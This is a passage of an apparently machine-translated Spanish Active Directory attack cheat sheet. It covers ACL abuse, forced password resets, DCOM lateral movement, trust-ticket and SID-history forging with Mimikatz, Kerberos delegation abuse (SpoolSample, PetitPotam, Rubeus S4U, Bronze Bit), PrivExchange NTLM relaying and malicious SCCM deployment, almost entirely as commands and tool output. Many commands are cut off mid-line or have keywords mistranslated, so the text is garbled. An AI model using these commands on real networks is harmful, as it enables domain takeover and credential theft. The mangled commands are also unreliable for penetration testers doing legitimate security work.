bloodyAD.py --host [DC IP] -d DOMINIO -u atacante_usuario -p :B4B9B02E6F09A9BD760F38
```

- Escribir DACL en grupo

```
Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Derechos WriteMembers -P grupo neto "INTERESTING_GROU
Usuario1 /agregar /dominio
```

O

```
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericA

# Eliminar el archivo
bloodyAD.py derecho --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericA
```

Escribir propietario

Un atacante puede actualizar el propietario del objeto objetivo. Una vez que el propietario del objeto se ha cambiado a un principal que controla el atacante, el atacante puede manipular el objeto como mejor le parezca.
Esto se puede lograr con Set-DomainObjectOwner (módulo PowerView).

```
Set-DomainObjectOwner -Identidad 'objeto_objetivo' -OwnerIdentity 'controlado_principa
```

O

```
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setOwner devil_
```

Se puede abusar de esta ACE para un ataque de tarea programada inmediata o para agregar un usuario al grupo de administración local.

LeerLAPSContraseña

Un atacante puede leer la contraseña LAPS de la cuenta de computadora a la que se aplica este ACE. Esto se puede lograr con el módulo PowerShell de Active Directory. Los detalles de la explotación se pueden encontrar en la sección Lectura de contraseña de LAPS .

```
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd'
```

O para una computadora determinada

```
bloodyAD.py -u john.doe -d bloody -p Contraseña512 --host 192.168.10.2 getObjectAttri
```

LeerGMSAContraseña

Un atacante puede leer la contraseña GMSA de la cuenta a la que se aplica esta ACE. Esto se puede lograr con los módulos Active Directory y DSInternals PowerShell.

```
# Guarde el blob en una variable $gmsa
= Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPa $mp = $gmsa.'msDS-
ManagedPassword'

# Decodificar la estructura de datos usando el módulo DSInternals
ConvertFrom-ADManagedPasswordBlob $mp
```

O

```
python bloodyAD.py -u john.doe -d bloody -p Contraseña512 --host 192.168.10.2 getObje
```

Forzar cambio de contraseña

Un atacante puede cambiar la contraseña del usuario al que se aplica esta ACE:

- En Windows, esto se puede lograr con Set-DomainUserPassword (módulo PowerView):

```
$NuevaContraseña = ConvertTo-SecureString 'Contraseña123!' -AsPlainText -Fuerza
Set-DomainUserPassword -Identidad 'TargetUser' -AccountPassword $NuevaContraseña
```

- En Linux:

```
# Usando rpcclient del paquete de software Samba
rpcclient -U 'usuario_atacante%mi_contraseña' -W DOMINIO -c "setuserinfo2 usuario_objetivo 23

# Usando bloodyAD con pass-the-hash
bloodyAD.py --host [IP de DC] -d DOMINIO -u usuario_atacante -p :B4B9B02E6F09A9BD760F388B6
```

Explotación DCOM

> DCOM es una extensión de COM (Modelo de objetos componentes), que permite a las aplicaciones crear instancias y acceder a las propiedades y métodos de objetos COM en una computadora remota.

- Paquete DCOMExec.py

```
dcomexec.py [-h] [-share COMPARTIR] [-nooutput] [-ts] [-debug] [-codec CODEC] [-obj dcomexec.py -share C$ -object MMC20 '<DOMINIO>/<NOMBRE DE USUARIO> :<CONTRASEÑA>@<MAQUINA_CI
dcomexec.py -share C$ -object MMC20 '<DOMINIO>/<NOMBRE DE USUARIO>:<CONTRASEÑA>@<MAQUINA_CI

python3 dcomexec.py -object MMC20 -silentcommand -debug $DOMINIO/$USUARIO:$CONTRASEÑA
# -object MMC20 especifica que deseamos crear una instancia del obj MMC20.Application
# -silentcommand ejecuta el comando sin intentar recuperar el resultado.
```

- Herramientas de queso: https://tinyurl.com/24oanh6m

```
# https://tinyurl.com/22y54zhr
-t, --target=VALOR -b, --                Máquina objetivo
binary=VALOR Binario: powershell.exe
-a, --args=VALOR -m, --                  Argumentos: -enc <bla>
method=VALOR Métodos: MMC20Application, ShellWindows,
                                           ShellBrowserWindow, ExcelDDE, VisioAddonEx,
                                           OutlookShellEx, ExcelXLL, VisioExecLine,
                                           OficinaMacro
-r, --reg, --registro -h, -?, --ayuda    Habilitar la manipulación del registro
                                           Mostrar ayuda

Métodos actuales: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE,
```

- Invocar-DCOM - https://tinyurl.com/25tylcrb

```
Import-Module .\Invoke-DCOM.ps1 Invoke-
DCOM -ComputerName '10.10.10.10' -Método MMC20.Application -Comando "calc Invoke-DCOM
-ComputerName '10.10.10.10' -Método ExcelDDE -Comando "calc.exe"
Invocar-DCOM -NombreEquipo '10.10.10.10' -Método ServicioIniciar "MiServicio"
Invoke-DCOM -ComputerName '10.10.10.10' -Método ShellBrowserWindow -Comando "cal Invoke-DCOM
-ComputerName '10.10.10.10' -Método ShellWindows -Comando "calc.exe"
```

Clase de aplicación DCOM a través de MMC

Este objeto COM (MMC20.Application) le permite crear scripts de componentes de operaciones de complementos de MMC. hay un método llamado "ExecuteShellCommand" en Document.ActiveView.

```
PS C:\> $com = [activador]::CreateInstance([tipo]::GetTypeFromProgID("MMC20.Applica PS C:\>
$com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc. exe"
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\WindowsPo

# Ejemplo armado con MSBuild PS C:\>
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Applica
```

Invocar-MMC20RCE: https://tinyurl.com/249onjl6

DCOM a través de Office

- Aplicación Excel
  - DEINiciar
  - RegistrarseXLL
- Outlook.Aplicación
  - CreateObject->Shell.Application->ShellExecute
  - CreateObject->ScriptControl (solo Office-32 bits)
- Visio.InvisibleApp (igual que Visio.Application, pero no debería mostrar la ventana de Visio)
  - Complementos
  - Línea de ejecución
- Aplicación de Word
  - EjecutarAutoMacro

```
# Script de Powershell que inyecta shellcode en excel.exe mediante ExecuteExcel4Macro th Invoke-
Excel4DCOM64.ps1 https://tinyurl.com/2akvepcq Invoke-
ExShellcode.ps1 https://tinyurl.com/2axccuph
```

```
# Usando Excel DDE
PS C:\> $excel = [activador]::CreateInstance([tipo]::GetTypeFromProgID("Excel.Appli PS C:\> $excel.DisplayAler
= $false PS C:\> $excel. DDEInitiate("cmd", "/c
calc.exe")

# Usando Excel RegisterXLL #
No se puede usar de manera confiable con un objetivo
remoto Requerir: reg add HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\Tr PS>
$excel = [activador]::CreateInstance([tipo]: :GetTypeFromProgID("Excel.Aplicaciones PS>
$excel.RegisterXLL("EvilXLL.dll")

# Usando Visio
$visio = [activador]::CreateInstance([tipo]::GetTypeFromProgID("Visio.InvisibleApp" $visio.Addons.Add("C:
\Windows\System32\cmd.exe").Run("/ c cálculo")
```

DCOM a través de ShellExecute

```
$com = [Tipo]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.1" $obj =
[System.Activator]::CreateInstance($com) $item = $obj.Item( )

$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system3
```

DCOM a través de ShellBrowserWindow

:advertencia: solo Windows 10, el objeto no existe en Windows 7

```
$com = [Tipo]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"10.10.10.1" $obj =
[System.Activator]::CreateInstance($com)
$obj.Application.ShellExecute(" cmd.exe","/c calc.exe","C:\windows\system32",$nulo,
```

Relación de confianza entre dominios

- De una sola mano
  - El dominio B confía en A
  - Los usuarios del dominio A pueden acceder a los recursos del dominio B
  - Los usuarios del dominio B no pueden acceder a los recursos del dominio A
- bidireccional
  - El dominio A confía en el dominio B
  - El dominio B confía en el dominio A

- Las solicitudes de autenticación se pueden pasar entre los dos dominios en ambas direcciones.

Enumerar confianzas entre dominios

```
nltest /dominios_de_confianza
```

o

```
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrust
```

Nombre de la fuente	Nombre de destino	Tipo de confianza	Dirección de confianza
dominioA.local	dominioB.local	Raíz del arbol	Bidireccional

Explotar confianzas entre dominios

:advertencia: Requiere un acceso de nivel de administrador de dominio al dominio actual.

Origen	Destino	Técnica a utilizar	Relación de confianza
Raíz	Niño	Grupo Golden Ticket + Administrador empresarial (Mimikatz /grupos)	Inter-Reino (bidireccional)
Niño	Niño	Explotación del historial SID (Mimikatz /sids)	Inter-Reino Padre-Hijo (2 vías)
Niño	Raíz	Explotación del historial SID (Mimikatz /sids)	Raíz del árbol entre reinos (2-forma)
Bosque A	Bosque B	PrinterBug + ¿Delegación sin restricciones?	Bosque Inter-Reino o Externo (2 vías)

Compromiso de dominio secundario a bosque: secuestro de SID

La mayoría de los árboles están vinculados con relaciones de confianza duales para permitir compartir recursos. Por Por defecto, el primer dominio creado es la raíz del bosque.

Requisitos:

- Hash KRBTGT
- Encuentra el SID del dominio.

```
$ Convert-NameToSid target.domain.com\krbtgt
S-1-5-21-2941561648-383941485-1389968811-502

# con Impacket
lookupsid.py dominio/usuario:contraseña@10.10.10.10
```

- Reemplace 502 con 519 para representar administradores empresariales
- Cree un ticket dorado y ataque el dominio principal.

```
kerberos::golden /usuario:Administrador /krbtgt:HASH_KRBTGT /dominio:dominio.local /s-
```

Compromiso de bosque a bosque: billete de confianza

- Requerir: filtrado SID deshabilitado

Desde el DC, descargue el hash de la cuenta de confianza currentdomain\targetdomain$ usando Mimikatz (por ejemplo, con LSADump o DCSync). Luego, utilizando esta clave de confianza y los SID del dominio, forje un TGT entre dominios usando Mimikatz, agregando el SID para el grupo de administradores empresariales del dominio de destino a nuestro historial de SID.

Volcar contraseñas de confianza (claves de confianza)

> Busque el nombre del fideicomiso con un signo de dólar ($) al final. La mayoría de las cuentas con un $ al final son cuentas de computadora, pero algunas son cuentas fiduciarias.

```
lsadump::confianza /parche
```

o busque el hash de la cuenta de máquina TRUST_NAME$

Cree un ticket de confianza falsificado (TGT entre reinos) usando Mimikatz

```
mimikatz(línea de comando) # kerberos::golden /dominio:dominio.local/sid:S-1-5-21... /rc4: mimic(línea de comando)
#kerberos::golden/dominio:dollarcorp.moneycorp.local/sid :S-
```

Utilice el archivo Trust Ticket para obtener un ST para el servicio específico

```
.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local .\Rubeus.exe Asktgs /
ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc. metro
```

Inyecte el archivo ST y acceda al servicio de destino con los derechos falsificados.

```
kirbikator lsa .\ticket.kirbi ls \
\máquina.dominio.local\c$
```

Confianza en la gestión de acceso privilegiado (PAM)

> PAM (gestión de acceso privilegiado) introduce un bosque bastión para la gestión, directores de seguridad en la sombra (grupos asignados a grupos de bosques gestionados con altos privilegios). Estos permiten la gestión de otros bosques sin realizar cambios en los grupos o ACL y sin inicio de sesión interactivo.

Requisitos:

- Windows Server 2016 o anterior

Si comprometemos el bastión obtenemos privilegios de administrador de dominio en el otro dominio.

- Configuración predeterminada para PAM Trust

```
# ejecutar en nuestro bosque
netdom confianza lab.local /dominio:bastion.local /ForestTransitive:Sí netdom confianza lab.local /
dominio:bastion.local /EnableSIDHistory:Sí netdom confianza lab.local /dominio:bastion.local /EnablePIMTrust:Sí
netdom confianza lab.local /domain:bastion.local /Quarantine:No # ejecutar en nuestro bastión



netdom confianza bastion.local /dominio:lab.local /ForestTransitive:Sí
```

- Enumerar fideicomisos PAM

```
# Detectar si el bosque actual es de confianza PAM
Importar módulo AD
Get-ADTrust -Filter {(ForestTransitive -eq $True) -y (SIDFilteringQuarantined

# Enumerar los principios de seguridad en la sombra
Get-ADObject -SearchBase ("CN=Configuración principal de sombra,CN=Servicios", + (

# Enumerar si el bosque actual está gestionado por un bosque bastión
# Trust_Attribute_PIM_Trust + Trust_Attribute_Treat_As_External
Get-ADTrust -Filter {(ForestTransitive -eq $True)}
```

- Compromiso
  - Utilizando el Shadow Security Principal encontrado anteriormente (cuenta WinRM, acceso RDP,

SQL...)

- Usando el historial SID

- Persistencia

```
# Agregar un usuario comprometido al grupo
Set-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Configuración principal de Shadow
```

Delegación sin restricciones de Kerberos

> El usuario envía un ST para acceder al servicio, junto con su TGT, y luego el servicio puede usar el TGT del usuario para solicitar un ST para el usuario a cualquier otro servicio y hacerse pasar por el usuario. - https://tinyurl.com/yaqrsrpz

> Cuando un usuario se autentica en una computadora que tiene activado el privilegio de delegación Kerberos sin restricciones, el ticket TGT del usuario autenticado se guarda en la memoria de esa computadora.

:advertencia: La delegación sin restricciones solía ser la única opción disponible en Windows 2000

> Advertencia Recuerde obligar a un HOSTNAME si desea un ticket Kerberos

Abuso de SpoolService con delegación sin restricciones

El objetivo es obtener privilegios de DC Sync utilizando una cuenta de computadora y el error SpoolService.

Requisitos:

- Objeto con propiedad Confíe en esta computadora para delegarla a cualquier servicio (solo Kerberos)
- Debe tener ADS_UF_TRUSTED_FOR_DELEGATION
- No debe tener el indicador ADS_UF_NOT_DELEGATED
- El usuario no debe estar en el grupo Usuarios protegidos
- El usuario no debe tener la marca La cuenta es confidencial y no se puede delegar

encontrar delegación

:advertencia: : Los controladores de dominio generalmente tienen habilitada la delegación sin restricciones.
Verifique la propiedad TRUSTED_FOR_DELEGATION .

- Módulo AD

```
# De https://tinyurl.com/2cw3ttv2 PS> Get-
ADComputer -Filter {TrustedForDelegation -eq $True}
```

- ldapdomaindump

```
$> ldapdomaindump -u "DOMINIO\\Cuenta" -p "Contraseña123*" 10.10.10.10 grep
TRUSTED_FOR_DELEGATION domain_computers.grep
```

- Módulo CrackMapExec

```
cme ldap 10.10.10.10 -u nombre de usuario -p contraseña --confiable-para-delegación
```

- BloodHound: PARTIDO (c: Computadora {delegación sin restricciones: verdadero}) REGRESAR c

- Módulo Powershell Active Directory: Get-ADComputer -LDAPFilter "(& (objectCategory=Computer)
  (userAccountControl:1.2.840.113556.1.4.803:=524288))"
  -Propiedades DNSHostName,userAccountControl

Estado del servicio Spool

Compruebe si el servicio spool se está ejecutando en el host remoto

```
ls \\dc01\pipe\spoolss python
rpcdump.py DOMINIO/usuario:contraseña@10.10.10.10
```

Monitorear con Rubeus

Monitoriza las conexiones entrantes de Rubeus.

```
Monitor Red.exe /intervalo:1
```

Forzar una conexión desde el DC

Debido a la delegación sin restricciones, el TGT de la cuenta de la computadora (DC$) se guardará en la memoria de la computadora con delegación sin restricciones. De forma predeterminada, la cuenta de la computadora del controlador de dominio tiene derechos DCSync sobre el objeto de dominio.

> SpoolSample es una prueba de concepto para obligar a un host de Windows a autenticarse en un servidor arbitrario utilizando una "característica" en la interfaz MS-RPRN RPC.

```
# De https://tinyurl.com/2ayxk6t8 .
\SpoolSample.exe NOMBRE-DC-VICTIMA NOMBRE-DC-SERVIDOR-NO
CONSTRAINED .\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
```

```
# DC01.HACKER.LAB es el controlador de dominio que queremos comprometer
# HELPDESK.HACKER.LAB es la máquina con delegación habilitada que controlamos.

# De https://tinyurl.com/2759zpmk/krbrelayx
Printerbug.py 'dominio/nombre de usuario:contraseña'@<NOMBRE-DC-VICTIMA> <SERVIDOR-DC-NO RESTRICIDO-

# De https://tinyurl.com/295nuyu8#gistcomment-2773689
python dementor.py -d dominio -u nombre de usuario -p contraseña <NOMBRE-DC-SERVIDOR-NO RESTRICIDO>
```

Si el ataque funcionó, deberías obtener un TGT del controlador de dominio.

cargar el billete

Extraiga el TGT base64 de la salida de Rubeus y cárguelo en nuestra sesión actual.

```
.\Rubeus.exe asktgs /ticket:<ticket base64> /service:LDAP/dc.lab.local,cifs/dc.lab.
```

Alternativamente, también puedes conseguir el billete usando Mimikatz: mimikatz # sekurlsa::tickets

Entonces puedes usar DCsync u otro ataque: mimikatz # lsadump::dcsync /usuario:HACKER\krbtgt

Mitigación

- Asegúrese de que las cuentas confidenciales no se puedan delegar
- Deshabilitar el servicio de cola de impresión

Abuso de MS-EFSRPC con delegación sin restricciones

Usando PetitPotam , otra herramienta para forzar una devolución de llamada desde la máquina objetivo, en lugar de SpoolSample .

```
# Forzar la devolución de llamada
clon de git https://tinyurl.com/22r4qcs7
python3 petitpotam.py -d $DOMINIO -u "$USUARIO" -p "$CONTRASEÑA" $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d -en -pag $ATTACKER_IP $TARGET_IP

# Extrae el billete
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
```

Delegación restringida de Kerberos

> La delegación restringida de Kerberos (KCD) es una característica de seguridad en Active Directory de Microsoft (AD) que permite a un servicio hacerse pasar por un usuario u otro servicio para poder acceder recursos en nombre de ese usuario o servicio.

Identificar una delegación restringida

- BloodHound: PARTICIPAR p = (a)-[:AllowedToDelegate]->(c:Computadora) REGRESAR p
- PowerView: Get-NetComputer -TrustedToAuth | seleccione el mismo nombre de cuenta, msds-allowedtodelegateto | pie
- Nativo

```
Get-DomainComputer -TrustedToAuth | seleccione -exp nombre de host dns
Obtener-DomainComputer resultado_anterior | seleccione -exp msds-AllowedToDelegateTo
```

Explotar la delegación restringida

- Paquete

```
getST.py -spn HOST/SQL01.DOMAIN 'DOMINIO/usuario:contraseña' -suplantar Administrador
```

- Rubeus: ataque S4U2 (S4U2self + S4U2proxy)

```
# con contraseña
Rubeus.exe s4u /nowrap /msdsspn:"time/target.local" /altservice:cifs /impersonat

# con un hash NT
Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:us Rubeus.exe s4u /
user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrat dir \\dc.domain.com\c$
```

- Rubeus: utilice un ticket existente para realizar un ataque S4U2 para hacerse pasar por el "Administrador"

```
# Volcar ticket
Rubeus.exe tgtdeleg /nowrap
Rubeus.exe triage
Rubeus.exe dump /luid:0x12d1f7

# Crear un ticket
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /t
```

- Rubeus: usando claves aes256

```
# Obtener las claves aes256 del privilegio de la cuenta
de la máquina::token
de depuración::elevar
seguridad::ekeys

# Crear un billete
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /us
```

Suplantar a un usuario de dominio en un recurso

Requerir:

- Privilegios de nivel de SISTEMA en una máquina configurada con delegación restringida

```
PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null PS> $idToImpersonate
= Nuevo objeto System.Security.Principal.WindowsIdentity @('admi PS> $idToImpersonate.Impersonate()

PD> [System.Security.Principal.WindowsIdentity]::GetCurrent() | seleccione el nombre PS> ls \
\dc01.offense.local\c$
```

Delegación restringida basada en recursos de Kerberos

La delegación restringida basada en recursos se introdujo en Windows Server 2012.

> El usuario envía un Ticket de Servicio (ST) para acceder al servicio ("Servicio A"), y si el servicio puede delegar en otro servicio predefinido ("Servicio B"), entonces el Servicio A puede presentarse al servicio de autenticación. el TGS que el usuario proporcionó y obtener un ST para el usuario al Servicio B. https://tinyurl.com/yaqrsrpz

1. Importar Powermad y Powerview

```
PowerShell.exe -ExecutionPolicy Bypass Import-
Module .\powermad.ps1 Import-
Module .\powerview.ps1
```

2. Obtener el SID del usuario

```
$AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectid | Seleccione $ACE = Get-
DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $ACE ConvertFrom-SID

$ACE.SecurityIdentifier
```

3. Abusar de MachineAccountQuota para crear una cuenta de computadora y establecerle un SPN

```
Nueva cuenta de máquina - Cuenta de máquina swktest - Contraseña $ (Convertir a cadena segura
```

4. Reescribir las propiedades AllowedToActOnBehalfOfOtherIdentity de DC

```
$ComputerSid = Get-DomainComputer swktest -Properties objectid | Seleccione -Expandir $SD = Nuevo-Objeto
Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:
$SDBytes = Byte de nuevo objeto[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc01-ww2.factory.lan | Establecer-DomainObject -Establecer @{'msds-allowedt
$RawBytes = Obtener-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoa
$Descriptor = Nuevo-Objeto Security.AccessControl.RawSecurityDescriptor -Argumento $Descriptor.DiscretionaryAcl
```

```
# alternativa
$SID_FROM_PREVIOUS_COMMAND = Obtener-DomainComputer MACHINE_ACCOUNT_NAME -Properties $SD
= Nuevo-Objeto Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:

# alternativa
StandIn_Net35.exe --computadora dc01 --sid SID_FROM_PREVIOUS_COMMAND
```

5. Utilice Rubeus para obtener hash de la contraseña

```
Hash de Rubeus.exe /contraseña:'Weakest123*' /usuario:swktest$ /dominio:factory.lan
[*] Ingrese la contraseña: Weakest123*
[*] Ingrese el nombre de                    : prueba rápida$
usuario [*] Ingrese el                      : fábrica.lan
dominio [*]                                 : FACTORY.LANswktest
                rc4_hmac                    : F8E064CA98539B735600714A1F1907DD
                aes128_cts_hmac_sha1: D45DEADECB703CFE3774F2AA20DB9498
                aes256_cts_hmac_sha1: 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE67
Salt [*] [*] [*] [*] des_cbc_md5            : BA297CFD07E62A5E
```

6. Hacerse pasar por administrador de dominio utilizando nuestra cuenta de máquina recién creada

```
.\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersona .\Rubeus.exe s4u /
user:swktest$ /aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3

[*] Suplantar al usuario 'Administrador' para apuntar al SPN 'cifs/dc01-ww2.factory.lan'
[*] Usando el controlador de dominio: DC01-WW2.factory.lan (172.16.42.5)
```

```
[*] Solicitud de servicio del edificio S4U2proxy : 'cifs/dc01-ww2.factory.lan'
[*] Envío de solicitud de S4U2proxy [+]
¡Éxito de S4U2proxy! [*]
base64(ticket.kirbi) para SPN 'cifs/dc01-ww2.factory.lan':

      doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPULkuTEFOoic
      AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE
      LmZhY3RvcnkubGFu

[*] Acción: Importar Ticket [+] ¡Ticket
importado exitosamente!
```

Servicio Kerberos para extensión de usuario

- Servicio para usuario a sí mismo que permite que un servicio obtenga un TGS en nombre de otro usuario
- Servicio de usuario a proxy que permite que un servicio obtenga un TGS en nombre de otro usuario en otro servicio

S4U2self - Escalada de privilegios

1. Consigue un TGT
    - Usando delegación sin restricciones
    - Usando la cuenta de máquina actual: Rubeus.exe tgtdeleg /nowrap
2. Utilice ese TGT para realizar una solicitud S4U2self para obtener un Ticket de Servicio como dominio. administrador de la máquina.

```
Rubeus.exe s4u /self /nowrap /impersonateuser:"Administrador" /altservice:"cifs/ Rubeus.exe ptt /ticket:"base64ticket"
```

```
Rubeus.exe s4u /self /nowrap /impersonateuser:"Administrador" /altservice:"cifs/
```

La cuenta "Servicio de red" y las identidades de AppPool pueden actuar como la cuenta de computadora en términos de Active Directory, solo están restringidas localmente. Por lo tanto, es posible invocar S4U2self si ejecuta uno de estos y solicita un ticket de servicio para cualquier usuario (por ejemplo, alguien con derechos de administrador local, como DA) para usted mismo.

```
# La ejecución de Rubeus fallará al intentar el paso S4UProxy, pero el gen del ticket Rubeus.exe s4u /user:$
{computerAccount} /msdsspn:cifs/${computerDNS} /impersonateus # El nombre del servicio no está incluido en los datos
cifrados TGS y se puede modificar en Rubeus.exe tgssub /ticket:${ticket} /altservice:cifs/${ServerDNSName} /ptt
```

Ataque de bit de bronce Kerberos - CVE-2020-17049

> Un atacante puede hacerse pasar por usuarios a los que no se les permite delegar. Esto incluye a los miembros del grupo Usuarios protegidos y a cualquier otro usuario configurado explícitamente como confidencial y que no se pueda delegar.

> El parche saldrá el 10 de noviembre de 2020, lo más probable es que DC sea vulnerable hasta febrero de 2021.

:advertencia: Mensaje de error parcheado: [-] Kerberos SessionError:

KRB_AP_ERR_MODIFIED(Secuencia de mensajes modificada)

Requisitos:

- Hash de contraseña de la cuenta de servicio
- Cuentas de servicio con delegación restringida o basada en recursos restringida

  Delegación
- Paquete PR #1013

Ataque n.º 1: omitir la confianza en este usuario para delegar solo en servicios específicos: usar protección Kerberos únicamente y hacerse pasar por un usuario que está protegido contra la delegación.

```
# El indicador reenviable solo está protegido por el cifrado del ticket que utiliza el servicio $ getST.py -spn cifs/Service2.test.local
-impersonate Administrator -hashes <LM:NTL

$ getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404e

# Cargar el billete
.\mimic\mimic.exe "kerberos::ptc User2.ccache" salir

# Acceder a "c$" ls \
\service2.test.local\c$
```

Ataque n.º 2: permisos de escritura para uno o más objetos en el AD

```
# Crear una nueva cuenta de máquina Import-
Module .\Powermad\powermad.ps1 New-MachineAccount
-MachineAccount AttackerService -Password $(ConvertTo-SecureStri .\mimikatz\mimikatz.exe "kerberos::hash /
password:AttackerServicePassword /user:Att

# Establecer directores permitidos para delegar en cuenta
Instalar-WindowsCaracterística RSAT-AD-PowerShell
Módulo de importación ActiveDirectory
Get-ADComputer AttackerService
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
```

```
Get-ADComputer Service2 - Principales de propiedadesAllowedToDelegateToAccount

# Ejecutar el ataque python .
\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User

# Cargar el billete
.\mimic\mimic.exe "kerberos::ptc User2.ccache" salir | Fuera nulo
```

Ataque PrivExchange

Cambie sus privilegios por privilegios de administrador de dominio abusando de Exchange. :advertencia: Necesita un shell en una cuenta de usuario con un buzón de correo.

1. Nombre de host o dirección IP del servidor Exchange

   ```
   miembros del grupo pth-net rpc "Servidores Exchange" -I dc01.domain.local -U dominio/uso
   ```

2. Retransmisión de la autenticación del servidor Exchange y escalada de privilegios (usando ntlmrelayx de Paquete).

   ```
   ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user nombre de usuario
   ```

3. La suscripción a la función de notificación push (usando privexchange.py o powerPriv), utiliza las credenciales del usuario actual para autenticarse en el servidor Exchange. Obligar al servidor Exchange a enviar su hash NTLMv2 a una máquina controlada.

   ```
   # https://tinyurl.com/2759zpmk/PrivExchange/blob/master/privexchange.py python privexchange.py -ah xxxxxxx -u
   xxxx -d xxxxx python privexchange.py -ah 10.0.0.2 mail01.domain.local -d
   dominio .local -u usuario

   # https://tinyurl.com/266z87m7 powerPriv
   -targetHost corpExch01 -attackerHost 192.168.1.17 -Versión 2016
   ```

4. Obtenga ganancias utilizando secretdumps de Impacket, el usuario ahora puede realizar una sincronización dc y obtener el hash NTLM de otro usuario

   ```
   python secretsdump.py xxxxxxxxxx -just-dc python secretsdump.py
   lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm
   ```

5. Limpia tu desorden y restaura un estado anterior de la ACL del usuario.

```
python aclpwn.py --restore ../aclpwn-20190319-125741.restore
```

Alternativamente puedes usar el módulo Metasploit.

```
utilizar auxiliar/escáner/http/exchange_web_server_pushsubscription
```

Alternativamente, puedes utilizar una herramienta todo en uno: Exchange2domain.

```
git clone github.com/Ridter/Exchange2domain python
Exchange2domain.py -ah attackterip -ap listeningport -u usuario -p contraseña -d dom python
Exchange2domain.py -ah attackterip -u usuario -p contraseña -d domain.com -th DCi
```

Implementación de SCCM

> SCCM es una solución de Microsoft para mejorar la administración de forma escalable en toda una organización.

- PowerSCCM: módulo de PowerShell para interactuar con implementaciones de SCCM
- MalSCCM: Abusa de servidores SCCM locales o remotos para implementar aplicaciones maliciosas en los hosts que administran.

- Usando SharpSCCM

```
.\SharpSCCM.exe obtener dispositivo --server <SERVER8NAME> --site-code <SITE_CODE> .
\SharpSCCM.exe <servidor> <sitecode> exec -d <device_name> -r <relay_server_ip> .\SharpSCCM.exe
exec - d WS01 -p "C:\Windows\System32\ping 10.10.10.10" -s --debu
```

- Comprometer al cliente, usar localizar para encontrar el servidor de administración

```
Localizar MalSCCM.exe
```

- Enumerar sobre WMI como administrador del Punto de Distribución

```
MalSCCM.exe inspeccionar /servidor:<FQDN del servidor de DistributionPoint> /grupos
```

- Servidor de administración comprometido, use localizar para encontrar el servidor principal
- Utilice inspeccionar en el servidor principal para ver a quién puede dirigirse

MalSCCM.exe inspeccionar /todos
MalSCCM.exe inspeccionar /computadoras
MalSCCM.exe inspeccionar /usuarios primarios
MalSCCM.exe inspeccionar /grupos

- Cree un nuevo grupo de dispositivos para las máquinas que desea mover lateralmente también

  Grupo MalSCCM.exe /crear /nombre de grupo:Grupo de destino /tipo de grupo:dispositivo MalSCCM.exe inspeccionar /grupos

- Añade tus objetivos al nuevo grupo

  Grupo MalSCCM.exe /addhost /nombre de grupo:Grupo de destino /host:WIN2016-SQL

- Cree una aplicación que apunte a un EXE malicioso en un recurso compartido legible en todo el mundo: SCCMContentLib$

  Aplicación MalSCCM.exe /create /name:demoapp /uncpath:"\\BLORE-SCCM\SCCMContentLib$\loc MalSCCM.exe inspeccionar /aplicaciones

- Implementar la aplicación en el grupo objetivo.

  Aplicación MalSCCM.exe /deploy /nombre:aplicación de demostración /nombre de grupo:Grupo de destino /nombre de asignación:de MalSCCM.exe inspeccionar /implementaciones

- Obligar al grupo objetivo a buscar actualizaciones

  Registro de MalSCCM.exe /nombre de grupo:Grupo de destino

- Limpiar la aplicación, la implementación y el grupo.

  Aplicación MalSCCM.exe /limpieza /nombre:aplicación de demostración Grupo MalSCCM.exe /eliminar /nombre de grupo:Grupo de destino

Cuentas de acceso a la red SCCM

> Si puede escalar en un host que es un cliente SCCM, puede recuperar el dominio en texto plano

> cartas credenciales.

- Buscar blob SCCM

  Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_Net NetworkAccessPassword
